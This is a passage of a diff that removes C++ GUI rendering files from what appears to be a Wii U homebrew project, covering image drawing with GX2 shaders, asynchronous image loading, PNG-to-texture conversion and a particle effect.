// Menu_DrawImgCut(image, width, height, format, currLeft, currTop+height*i, currZ, imageangle, currScaleX, currScaleY, currAlpha, cutBoundsRect.x1(), cutBoundsRect.x2(), cutBoundsRect.y1(), cutBoundsRect.y2());
|
||||
// }
|
||||
// }
|
||||
if(colorVtxsDirty && colorVtxs) {
|
||||
//! flush color vertex only on main GX2 thread
|
||||
GX2Invalidate(GX2_INVALIDATE_MODE_CPU_ATTRIBUTE_BUFFER, colorVtxs, colorCount * ColorShader::cuColorAttrSize);
|
||||
colorVtxsDirty = false;
|
||||
}
|
||||
|
||||
if(imgType == IMAGE_COLOR && colorVtxs)
|
||||
{
|
||||
ColorShader::instance()->setShaders();
|
||||
ColorShader::instance()->setAttributeBuffer(colorVtxs, posVtxs, vtxCount);
|
||||
ColorShader::instance()->setAngle(imageAngle);
|
||||
ColorShader::instance()->setOffset(positionOffsets);
|
||||
ColorShader::instance()->setScale(scaleFactor);
|
||||
ColorShader::instance()->setColorIntensity(colorIntensity);
|
||||
ColorShader::instance()->draw(primitive, vtxCount);
|
||||
}
|
||||
else if(imageData)
|
||||
{
|
||||
Texture2DShader::instance()->setShaders();
|
||||
Texture2DShader::instance()->setAttributeBuffer(texCoords, posVtxs, vtxCount);
|
||||
Texture2DShader::instance()->setAngle(imageAngle);
|
||||
Texture2DShader::instance()->setOffset(positionOffsets);
|
||||
Texture2DShader::instance()->setScale(scaleFactor);
|
||||
Texture2DShader::instance()->setColorIntensity(colorIntensity);
|
||||
Texture2DShader::instance()->setBlurring(blurDirection);
|
||||
Texture2DShader::instance()->setTextureAndSampler(imageData->getTexture(), imageData->getSampler());
|
||||
Texture2DShader::instance()->draw(primitive, vtxCount);
|
||||
}
|
||||
}
|
@ -1,110 +0,0 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015 Dimok
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
****************************************************************************/
|
||||
#ifndef GUI_IMAGE_H_
|
||||
#define GUI_IMAGE_H_
|
||||
|
||||
#include "video/shaders/Shader.h"
|
||||
#include "GuiElement.h"
|
||||
#include "GuiImageData.h"
|
||||
|
||||
//!Display, manage, and manipulate images in the GUI
|
||||
class GuiImage : public GuiElement
|
||||
{
|
||||
public:
|
||||
enum ImageTypes
|
||||
{
|
||||
IMAGE_TEXTURE,
|
||||
IMAGE_COLOR
|
||||
};
|
||||
|
||||
//!\overload
|
||||
//!\param img Pointer to GuiImageData element
|
||||
GuiImage(GuiImageData * img);
|
||||
//!\overload
|
||||
//!Creates an image filled with the specified color
|
||||
//!\param w Image width
|
||||
//!\param h Image height
|
||||
//!\param c Array with 4 x image color (BL, BR, TL, TR)
|
||||
GuiImage(int w, int h, const GX2Color & c, int imgType = IMAGE_COLOR);
|
||||
GuiImage(int w, int h, const GX2Color * c, u32 colorCount = 1, int imgType = IMAGE_COLOR);
|
||||
//!Destructor
|
||||
virtual ~GuiImage();
|
||||
//!Sets the number of times to draw the image horizontally
|
||||
//!\param t Number of times to draw the image
|
||||
void setTileHorizontal(int t) { tileHorizontal = t; }
|
||||
//!Sets the number of times to draw the image vertically
|
||||
//!\param t Number of times to draw the image
|
||||
void setTileVertical(int t) { tileVertical = t; }
|
||||
//!Constantly called to draw the image
|
||||
void draw(CVideo *pVideo);
|
||||
//!Gets the image data
|
||||
//!\return pointer to image data
|
||||
GuiImageData * getImageData() const { return imageData; }
|
||||
//!Sets up a new image using the GuiImageData object specified
|
||||
//!\param img Pointer to GuiImageData object
|
||||
void setImageData(GuiImageData * img);
|
||||
//!Gets the pixel color at the specified coordinates of the image
|
||||
//!\param x X coordinate
|
||||
//!\param y Y coordinate
|
||||
GX2Color getPixel(int x, int y);
|
||||
//!Sets the pixel color at the specified coordinates of the image
|
||||
//!\param x X coordinate
|
||||
//!\param y Y coordinate
|
||||
//!\param color Pixel color
|
||||
void setPixel(int x, int y, const GX2Color & color);
|
||||
//!Change ImageColor
|
||||
void setImageColor(const GX2Color & c, int idx = -1);
|
||||
//!Change ImageColor
|
||||
void setSize(int w, int h);
|
||||
|
||||
void setPrimitiveVertex(s32 prim, const f32 *pos, const f32 *tex, u32 count);
|
||||
|
||||
void setBlurDirection(u8 dir, f32 value)
|
||||
{
|
||||
if(dir < 2) {
|
||||
blurDirection[dir] = value;
|
||||
}
|
||||
}
|
||||
void setColorIntensity(const glm::vec4 & col)
|
||||
{
|
||||
colorIntensity = col;
|
||||
}
|
||||
protected:
|
||||
void internalInit(int w, int h);
|
||||
|
||||
int imgType; //!< Type of image data (IMAGE_TEXTURE, IMAGE_COLOR, IMAGE_DATA)
|
||||
GuiImageData * imageData; //!< Poiner to image data. May be shared with GuiImageData data
|
||||
int tileHorizontal; //!< Number of times to draw (tile) the image horizontally
|
||||
int tileVertical; //!< Number of times to draw (tile) the image vertically
|
||||
|
||||
//! Internally used variables for rendering
|
||||
u8 *colorVtxs;
|
||||
u32 colorCount;
|
||||
bool colorVtxsDirty;
|
||||
glm::vec3 positionOffsets;
|
||||
glm::vec3 scaleFactor;
|
||||
glm::vec4 colorIntensity;
|
||||
f32 imageAngle;
|
||||
glm::vec3 blurDirection;
|
||||
|
||||
const f32 * posVtxs;
|
||||
const f32 * texCoords;
|
||||
u32 vtxCount;
|
||||
s32 primitive;
|
||||
};
|
||||
|
||||
#endif
|
@ -1,172 +0,0 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015 Dimok
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
****************************************************************************/
|
||||
#include <unistd.h>
|
||||
#include "GuiImageAsync.h"
|
||||
#include "fs/fs_utils.h"
|
||||
|
||||
std::vector<GuiImageAsync *> GuiImageAsync::imageQueue;
|
||||
CThread * GuiImageAsync::pThread = NULL;
|
||||
CMutex * GuiImageAsync::pMutex = NULL;
|
||||
u32 GuiImageAsync::threadRefCounter = 0;
|
||||
bool GuiImageAsync::bExitRequested = false;
|
||||
GuiImageAsync * GuiImageAsync::pInUse = NULL;
|
||||
|
||||
GuiImageAsync::GuiImageAsync(const u8 *imageBuffer, const u32 & imageBufferSize, GuiImageData * preloadImg)
|
||||
: GuiImage(preloadImg)
|
||||
, imgData(NULL)
|
||||
, imgBuffer(imageBuffer)
|
||||
, imgBufferSize(imageBufferSize)
|
||||
{
|
||||
threadInit();
|
||||
threadAddImage(this);
|
||||
}
|
||||
|
||||
GuiImageAsync::GuiImageAsync(const std::string & file, GuiImageData * preloadImg)
|
||||
: GuiImage(preloadImg)
|
||||
, imgData(NULL)
|
||||
, filename(file)
|
||||
, imgBuffer(NULL)
|
||||
, imgBufferSize(0)
|
||||
{
|
||||
threadInit();
|
||||
threadAddImage(this);
|
||||
}
|
||||
|
||||
GuiImageAsync::~GuiImageAsync()
|
||||
{
|
||||
threadRemoveImage(this);
|
||||
while(pInUse == this)
|
||||
usleep(1000);
|
||||
|
||||
if (imgData)
|
||||
delete imgData;
|
||||
|
||||
threadExit();
|
||||
}
|
||||
|
||||
void GuiImageAsync::threadAddImage(GuiImageAsync *Image)
|
||||
{
|
||||
pMutex->lock();
|
||||
imageQueue.push_back(Image);
|
||||
pMutex->unlock();
|
||||
pThread->resumeThread();
|
||||
}
|
||||
|
||||
void GuiImageAsync::threadRemoveImage(GuiImageAsync *image)
|
||||
{
|
||||
pMutex->lock();
|
||||
for(u32 i = 0; i < imageQueue.size(); ++i)
|
||||
{
|
||||
if(imageQueue[i] == image)
|
||||
{
|
||||
imageQueue.erase(imageQueue.begin() + i);
|
||||
break;
|
||||
}
|
||||
}
|
||||
pMutex->unlock();
|
||||
}
|
||||
|
||||
void GuiImageAsync::clearQueue()
|
||||
{
|
||||
pMutex->lock();
|
||||
imageQueue.clear();
|
||||
pMutex->unlock();
|
||||
}
|
||||
|
||||
void GuiImageAsync::guiImageAsyncThread(CThread *thread, void *arg)
|
||||
{
|
||||
while(!bExitRequested)
|
||||
{
|
||||
if(imageQueue.empty() && !bExitRequested)
|
||||
pThread->suspendThread();
|
||||
|
||||
if(!imageQueue.empty() && !bExitRequested)
|
||||
{
|
||||
pMutex->lock();
|
||||
pInUse = imageQueue.front();
|
||||
imageQueue.erase(imageQueue.begin());
|
||||
pMutex->unlock();
|
||||
|
||||
if (!pInUse)
|
||||
continue;
|
||||
|
||||
|
||||
if(pInUse->imgBuffer && pInUse->imgBufferSize)
|
||||
{
|
||||
pInUse->imgData = new GuiImageData(pInUse->imgBuffer, pInUse->imgBufferSize);
|
||||
}
|
||||
else
|
||||
{
|
||||
u8 *buffer = NULL;
|
||||
u32 bufferSize = 0;
|
||||
|
||||
int iResult = LoadFileToMem(pInUse->filename.c_str(), &buffer, &bufferSize);
|
||||
if(iResult > 0)
|
||||
{
|
||||
pInUse->imgData = new GuiImageData(buffer, bufferSize, GX2_TEX_CLAMP_MODE_MIRROR);
|
||||
|
||||
//! free original image buffer which is converted to texture now and not needed anymore
|
||||
free(buffer);
|
||||
}
|
||||
}
|
||||
|
||||
if(pInUse->imgData)
|
||||
{
|
||||
if(pInUse->imgData->getTexture())
|
||||
{
|
||||
pInUse->width = pInUse->imgData->getWidth();
|
||||
pInUse->height = pInUse->imgData->getHeight();
|
||||
pInUse->imageData = pInUse->imgData;
|
||||
}
|
||||
else
|
||||
{
|
||||
delete pInUse->imgData;
|
||||
pInUse->imgData = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
pInUse = NULL;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void GuiImageAsync::threadInit()
|
||||
{
|
||||
if (pThread == NULL)
|
||||
{
|
||||
bExitRequested = false;
|
||||
pMutex = new CMutex();
|
||||
pThread = CThread::create(GuiImageAsync::guiImageAsyncThread, NULL, CThread::eAttributeAffCore1 | CThread::eAttributePinnedAff, 10);
|
||||
pThread->resumeThread();
|
||||
}
|
||||
|
||||
++threadRefCounter;
|
||||
}
|
||||
|
||||
void GuiImageAsync::threadExit()
|
||||
{
|
||||
--threadRefCounter;
|
||||
|
||||
if((threadRefCounter == 0) && (pThread != NULL))
|
||||
{
|
||||
bExitRequested = true;
|
||||
delete pThread;
|
||||
delete pMutex;
|
||||
pThread = NULL;
|
||||
pMutex = NULL;
|
||||
}
|
||||
}
|
@ -1,57 +0,0 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015 Dimok
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
****************************************************************************/
|
||||
#ifndef _GUIIMAGEASYNC_H_
|
||||
#define _GUIIMAGEASYNC_H_
|
||||
|
||||
#include <vector>
|
||||
#include "GuiImage.h"
|
||||
#include "system/CThread.h"
|
||||
#include "system/CMutex.h"
|
||||
|
||||
class GuiImageAsync : public GuiImage
|
||||
{
|
||||
public:
|
||||
GuiImageAsync(const u8 *imageBuffer, const u32 & imageBufferSize, GuiImageData * preloadImg);
|
||||
GuiImageAsync(const std::string & filename, GuiImageData * preloadImg);
|
||||
virtual ~GuiImageAsync();
|
||||
|
||||
static void clearQueue();
|
||||
static void removeFromQueue(GuiImageAsync * image) {
|
||||
threadRemoveImage(image);
|
||||
}
|
||||
private:
|
||||
static void threadInit();
|
||||
static void threadExit();
|
||||
|
||||
GuiImageData *imgData;
|
||||
std::string filename;
|
||||
const u8 *imgBuffer;
|
||||
const u32 imgBufferSize;
|
||||
|
||||
static void guiImageAsyncThread(CThread *thread, void *arg);
|
||||
static void threadAddImage(GuiImageAsync* Image);
|
||||
static void threadRemoveImage(GuiImageAsync* Image);
|
||||
|
||||
static std::vector<GuiImageAsync *> imageQueue;
|
||||
static CThread *pThread;
|
||||
static CMutex * pMutex;
|
||||
static u32 threadRefCounter;
|
||||
static GuiImageAsync * pInUse;
|
||||
static bool bExitRequested;
|
||||
};
|
||||
|
||||
#endif /*_GUIIMAGEASYNC_H_*/
|
@ -1,209 +0,0 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015 Dimok
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
****************************************************************************/
|
||||
#include <malloc.h>
|
||||
#include <string.h>
|
||||
#include "GuiImageData.h"
|
||||
#include "system/memory.h"
|
||||
#include "video/CVideo.h"
|
||||
#include "common/gx2_ext.h"
|
||||
/**
|
||||
* Constructor for the GuiImageData class.
|
||||
*/
|
||||
GuiImageData::GuiImageData()
|
||||
{
|
||||
texture = NULL;
|
||||
sampler = NULL;
|
||||
memoryType = eMemTypeMEM2;
|
||||
}
|
||||
|
||||
/**
|
||||
* Constructor for the GuiImageData class.
|
||||
*/
|
||||
GuiImageData::GuiImageData(const u8 * img, int imgSize, GX2TexClampMode textureClamp, GX2SurfaceFormat textureFormat)
|
||||
{
|
||||
texture = NULL;
|
||||
sampler = NULL;
|
||||
loadImage(img, imgSize, textureClamp, textureFormat);
|
||||
}
|
||||
|
||||
/**
|
||||
* Destructor for the GuiImageData class.
|
||||
*/
|
||||
GuiImageData::~GuiImageData()
|
||||
{
|
||||
releaseData();
|
||||
}
|
||||
|
||||
void GuiImageData::releaseData(void)
|
||||
{
|
||||
if(texture) {
|
||||
if(texture->surface.image)
|
||||
{
|
||||
switch(memoryType)
|
||||
{
|
||||
default:
|
||||
case eMemTypeMEM2:
|
||||
free(texture->surface.image);
|
||||
break;
|
||||
case eMemTypeMEM1:
|
||||
MEM1_free(texture->surface.image);
|
||||
break;
|
||||
case eMemTypeMEMBucket:
|
||||
MEMBucket_free(texture->surface.image);
|
||||
break;
|
||||
}
|
||||
}
|
||||
delete texture;
|
||||
texture = NULL;
|
||||
}
|
||||
if(sampler) {
|
||||
delete sampler;
|
||||
sampler = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
void GuiImageData::loadImage(const u8 *img, int imgSize, GX2TexClampMode textureClamp, GX2SurfaceFormat textureFormat)
|
||||
{
|
||||
if(!img || (imgSize < 8))
|
||||
return;
|
||||
|
||||
releaseData();
|
||||
gdImagePtr gdImg = 0;
|
||||
|
||||
if (img[0] == 0xFF && img[1] == 0xD8)
|
||||
{
|
||||
//! not needed for now therefore comment out to safe ELF size
|
||||
//! if needed uncomment, adds 200 kb to the ELF size
|
||||
// IMAGE_JPEG
|
||||
//gdImg = gdImageCreateFromJpegPtr(imgSize, (u8*) img);
|
||||
}
|
||||
else if (img[0] == 'B' && img[1] == 'M')
|
||||
{
|
||||
// IMAGE_BMP
|
||||
//gdImg = gdImageCreateFromBmpPtr(imgSize, (u8*) img);
|
||||
}
|
||||
else if (img[0] == 0x89 && img[1] == 'P' && img[2] == 'N' && img[3] == 'G')
|
||||
{
|
||||
// IMAGE_PNG
|
||||
gdImg = gdImageCreateFromPngPtr(imgSize, (u8*) img);
|
||||
}
|
||||
//!This must be last since it can also intefere with outher formats
|
||||
else if(img[0] == 0x00)
|
||||
{
|
||||
// Try loading TGA image
|
||||
//gdImg = gdImageCreateFromTgaPtr(imgSize, (u8*) img);
|
||||
}
|
||||
|
||||
if(gdImg == 0)
|
||||
return;
|
||||
|
||||
u32 width = (gdImageSX(gdImg));
|
||||
u32 height = (gdImageSY(gdImg));
|
||||
|
||||
//! Initialize texture
|
||||
texture = new GX2Texture;
|
||||
GX2InitTexture(texture, width, height, 1, 0, textureFormat, GX2_SURFACE_DIM_TEXTURE_2D, GX2_TILE_MODE_LINEAR_ALIGNED);
|
||||
|
||||
//! if this fails something went horribly wrong
|
||||
if(texture->surface.imageSize == 0) {
|
||||
delete texture;
|
||||
texture = NULL;
|
||||
gdImageDestroy(gdImg);
|
||||
return;
|
||||
}
|
||||
|
||||
//! allocate memory for the surface
|
||||
memoryType = eMemTypeMEM2;
|
||||
texture->surface.image = memalign(texture->surface.alignment, texture->surface.imageSize);
|
||||
//! try MEM1 on failure
|
||||
if(!texture->surface.image) {
|
||||
memoryType = eMemTypeMEM1;
|
||||
texture->surface.image = MEM1_alloc(texture->surface.imageSize, texture->surface.alignment);
|
||||
}
|
||||
//! try MEM bucket on failure
|
||||
if(!texture->surface.image) {
|
||||
memoryType = eMemTypeMEMBucket;
|
||||
texture->surface.image = MEMBucket_alloc(texture->surface.imageSize, texture->surface.alignment);
|
||||
}
|
||||
//! check if memory is available for image
|
||||
if(!texture->surface.image) {
|
||||
gdImageDestroy(gdImg);
|
||||
delete texture;
|
||||
texture = NULL;
|
||||
return;
|
||||
}
|
||||
//! set mip map data pointer
|
||||
texture->surface.mipmaps = NULL;
|
||||
//! convert image to texture
|
||||
switch(textureFormat)
|
||||
{
|
||||
default:
|
||||
case GX2_SURFACE_FORMAT_UNORM_R8_G8_B8_A8:
|
||||
gdImageToUnormR8G8B8A8(gdImg, (u32*)texture->surface.image, texture->surface.width, texture->surface.height, texture->surface.pitch);
|
||||
break;
|
||||
case GX2_SURFACE_FORMAT_UNORM_R5_G6_B5:
|
||||
gdImageToUnormR5G6B5(gdImg, (u16*)texture->surface.image, texture->surface.width, texture->surface.height, texture->surface.pitch);
|
||||
break;
|
||||
}
|
||||
|
||||
//! free memory of image as its not needed anymore
|
||||
gdImageDestroy(gdImg);
|
||||
|
||||
//! invalidate the memory
|
||||
GX2Invalidate(GX2_INVALIDATE_MODE_CPU_TEXTURE, texture->surface.image, texture->surface.imageSize);
|
||||
//! initialize the sampler
|
||||
sampler = new GX2Sampler;
|
||||
GX2InitSampler(sampler, textureClamp, GX2_TEX_XY_FILTER_MODE_LINEAR);
|
||||
}
|
||||
|
||||
void GuiImageData::gdImageToUnormR8G8B8A8(gdImagePtr gdImg, u32 *imgBuffer, u32 width, u32 height, u32 pitch)
|
||||
{
|
||||
for(u32 y = 0; y < height; ++y)
|
||||
{
|
||||
for(u32 x = 0; x < width; ++x)
|
||||
{
|
||||
u32 pixel = gdImageGetPixel(gdImg, x, y);
|
||||
|
||||
u8 a = 254 - 2*((u8)gdImageAlpha(gdImg, pixel));
|
||||
if(a == 254) a++;
|
||||
|
||||
u8 r = gdImageRed(gdImg, pixel);
|
||||
u8 g = gdImageGreen(gdImg, pixel);
|
||||
u8 b = gdImageBlue(gdImg, pixel);
|
||||
|
||||
imgBuffer[y * pitch + x] = (r << 24) | (g << 16) | (b << 8) | (a);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//! TODO: figure out why this seems to not work correct yet
|
||||
void GuiImageData::gdImageToUnormR5G6B5(gdImagePtr gdImg, u16 *imgBuffer, u32 width, u32 height, u32 pitch)
|
||||
{
|
||||
for(u32 y = 0; y < height; ++y)
|
||||
{
|
||||
for(u32 x = 0; x < width; ++x)
|
||||
{
|
||||
u32 pixel = gdImageGetPixel(gdImg, x, y);
|
||||
|
||||
u8 r = gdImageRed(gdImg, pixel);
|
||||
u8 g = gdImageGreen(gdImg, pixel);
|
||||
u8 b = gdImageBlue(gdImg, pixel);
|
||||
|
||||
imgBuffer[y * pitch + x] = ((r >> 3) << 11) | ((g >> 2) << 5) | (b >> 3);
|
||||
}
|
||||
}
|
||||
}
|
@ -1,68 +0,0 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015 Dimok
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
****************************************************************************/
|
||||
#ifndef GUI_IMAGEDATA_H_
|
||||
#define GUI_IMAGEDATA_H_
|
||||
|
||||
#include <gd.h>
|
||||
#include <gx2/enum.h>
|
||||
#include <gx2/texture.h>
|
||||
#include <gx2/sampler.h>
|
||||
#include "system/AsyncDeleter.h"
|
||||
|
||||
class GuiImageData : public AsyncDeleter::Element
|
||||
{
|
||||
public:
|
||||
//!Constructor
|
||||
GuiImageData();
|
||||
//!\param img Image data
|
||||
//!\param imgSize The image size
|
||||
GuiImageData(const u8 * img, int imgSize, GX2TexClampMode textureClamp = GX2_TEX_CLAMP_MODE_CLAMP, GX2SurfaceFormat textureFormat = GX2_SURFACE_FORMAT_UNORM_R8_G8_B8_A8);
|
||||
//!Destructor
|
||||
virtual ~GuiImageData();
|
||||
//!Load image from buffer
|
||||
//!\param img Image data
|
||||
//!\param imgSize The image size
|
||||
void loadImage(const u8 * img, int imgSize, GX2TexClampMode textureClamp = GX2_TEX_CLAMP_MODE_CLAMP, GX2SurfaceFormat textureFormat = GX2_SURFACE_FORMAT_UNORM_R8_G8_B8_A8);
|
||||
//! getter functions
|
||||
const GX2Texture * getTexture() const { return texture; };
|
||||
const GX2Sampler * getSampler() const { return sampler; };
|
||||
//!Gets the image width
|
||||
//!\return image width
|
||||
int getWidth() const { if(texture) return texture->surface.width; else return 0; };
|
||||
//!Gets the image height
|
||||
//!\return image height
|
||||
int getHeight() const { if(texture) return texture->surface.height; else return 0; };
|
||||
//! release memory of the image data
|
||||
void releaseData(void);
|
||||
private:
|
||||
void gdImageToUnormR8G8B8A8(gdImagePtr gdImg, u32 *imgBuffer, u32 width, u32 height, u32 pitch);
|
||||
void gdImageToUnormR5G6B5(gdImagePtr gdImg, u16 *imgBuffer, u32 width, u32 height, u32 pitch);
|
||||
|
||||
GX2Texture *texture;
|
||||
GX2Sampler *sampler;
|
||||
|
||||
enum eMemoryTypes
|
||||
{
|
||||
eMemTypeMEM2,
|
||||
eMemTypeMEM1,
|
||||
eMemTypeMEMBucket
|
||||
};
|
||||
|
||||
u8 memoryType;
|
||||
};
|
||||
|
||||
#endif
|
@ -1,128 +0,0 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015 Dimok
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
****************************************************************************/
|
||||
#include "GuiParticleImage.h"
|
||||
#include "video/CVideo.h"
|
||||
#include "video/shaders/ColorShader.h"
|
||||
|
||||
#define CIRCLE_VERTEX_COUNT 36
|
||||
|
||||
static inline f32 getRandZeroToOneF32()
|
||||
{
|
||||
return (rand() % 10000) * 0.0001f;
|
||||
}
|
||||
|
||||
static inline f32 getRandMinusOneToOneF32()
|
||||
{
|
||||
return getRandZeroToOneF32() * 2.0f - 1.0f;
|
||||
}
|
||||
|
||||
GuiParticleImage::GuiParticleImage(int w, int h, u32 particleCount)
|
||||
: GuiImage(NULL)
|
||||
{
|
||||
width = w;
|
||||
height = h;
|
||||
imgType = IMAGE_COLOR;
|
||||
|
||||
posVertexs = (f32 *) memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ColorShader::cuVertexAttrSize * CIRCLE_VERTEX_COUNT);
|
||||
colorVertexs = (u8 *) memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ColorShader::cuColorAttrSize * CIRCLE_VERTEX_COUNT);
|
||||
|
||||
for(u32 i = 0; i < CIRCLE_VERTEX_COUNT; i++)
|
||||
{
|
||||
posVertexs[i * 3 + 0] = cosf(DegToRad(i * 360.0f / CIRCLE_VERTEX_COUNT));
|
||||
posVertexs[i * 3 + 1] = sinf(DegToRad(i * 360.0f / CIRCLE_VERTEX_COUNT));
|
||||
posVertexs[i * 3 + 2] = 0.0f;
|
||||
|
||||
colorVertexs[i * 4 + 0] = 0xff;
|
||||
colorVertexs[i * 4 + 1] = 0xff;
|
||||
colorVertexs[i * 4 + 2] = 0xff;
|
||||
colorVertexs[i * 4 + 3] = 0xff;
|
||||
}
|
||||
GX2Invalidate(GX2_INVALIDATE_MODE_CPU_ATTRIBUTE_BUFFER, posVertexs, ColorShader::cuVertexAttrSize * CIRCLE_VERTEX_COUNT);
|
||||
GX2Invalidate(GX2_INVALIDATE_MODE_CPU_ATTRIBUTE_BUFFER, colorVertexs, ColorShader::cuColorAttrSize * CIRCLE_VERTEX_COUNT);
|
||||
|
||||
particles.resize(particleCount);
|
||||
|
||||
for(u32 i = 0; i < particleCount; i++)
|
||||
{
|
||||
particles[i].position.x = getRandMinusOneToOneF32() * getWidth() * 0.5f;
|
||||
particles[i].position.y = getRandMinusOneToOneF32() * getHeight() * 0.5f;
|
||||
particles[i].position.z = 0.0f;
|
||||
particles[i].colors = glm::vec4(1.0f, 1.0f, 1.0f, (getRandZeroToOneF32() * 0.6f) + 0.05f);
|
||||
particles[i].radius = getRandZeroToOneF32() * 30.0f;
|
||||
particles[i].speed = (getRandZeroToOneF32() * 0.6f) + 0.2f;
|
||||
particles[i].direction = getRandMinusOneToOneF32();
|
||||
}
|
||||
}
|
||||
|
||||
GuiParticleImage::~GuiParticleImage()
|
||||
{
|
||||
free(posVertexs);
|
||||
free(colorVertexs);
|
||||
}
|
||||
|
||||
void GuiParticleImage::draw(CVideo *pVideo)
|
||||
{
|
||||
if(!this->isVisible())
|
||||
return;
|
||||
|
||||
|
||||
f32 currScaleX = getScaleX();
|
||||
f32 currScaleY = getScaleY();
|
||||
|
||||
positionOffsets[2] = getDepth() * pVideo->getDepthScaleFactor() * 2.0f;
|
||||
|
||||
scaleFactor[2] = getScaleZ();
|
||||
|
||||
//! add other colors intensities parameters
|
||||
colorIntensity[3] = getAlpha();
|
||||
|
||||
for(u32 i = 0; i < particles.size(); ++i)
|
||||
{
|
||||
if(particles[i].position.y > (getHeight() * 0.5f + 30.0f))
|
||||
{
|
||||
particles[i].position.x = getRandMinusOneToOneF32() * getWidth() * 0.5f;
|
||||
particles[i].position.y = -getHeight() * 0.5f - 30.0f;
|
||||
particles[i].colors = glm::vec4(1.0f, 1.0f, 1.0f, (getRandZeroToOneF32() * 0.6f) + 0.05f);
|
||||
particles[i].radius = getRandZeroToOneF32() * 30.0f;
|
||||
particles[i].speed = (getRandZeroToOneF32() * 0.6f) + 0.2f;
|
||||
particles[i].direction = getRandMinusOneToOneF32();
|
||||
}
|
||||
if(particles[i].position.x < (-getWidth() * 0.5f - 50.0f))
|
||||
{
|
||||
particles[i].position.x = -particles[i].position.x;
|
||||
}
|
||||
|
||||
|
||||
particles[i].direction += getRandMinusOneToOneF32() * 0.03f;
|
||||
particles[i].position.x += particles[i].speed * particles[i].direction;
|
||||
particles[i].position.y += particles[i].speed;
|
||||
|
||||
positionOffsets[0] = (getCenterX() + particles[i].position.x) * pVideo->getWidthScaleFactor() * 2.0f;
|
||||
positionOffsets[1] = (getCenterY() + particles[i].position.y) * pVideo->getHeightScaleFactor() * 2.0f;
|
||||
|
||||
scaleFactor[0] = currScaleX * particles[i].radius * pVideo->getWidthScaleFactor();
|
||||
scaleFactor[1] = currScaleY * particles[i].radius * pVideo->getHeightScaleFactor();
|
||||
|
||||
ColorShader::instance()->setShaders();
|
||||
ColorShader::instance()->setAttributeBuffer(colorVertexs, posVertexs, CIRCLE_VERTEX_COUNT);
|
||||
ColorShader::instance()->setAngle(0.0f);
|
||||
ColorShader::instance()->setOffset(positionOffsets);
|
||||
ColorShader::instance()->setScale(scaleFactor);
|
||||
ColorShader::instance()->setColorIntensity(colorIntensity * particles[i].colors);
|
||||
ColorShader::instance()->draw(GX2_PRIMITIVE_MODE_TRIANGLE_FAN, CIRCLE_VERTEX_COUNT);
|
||||
}
|
||||
}
|
@ -1,45 +0,0 @@
|
||||
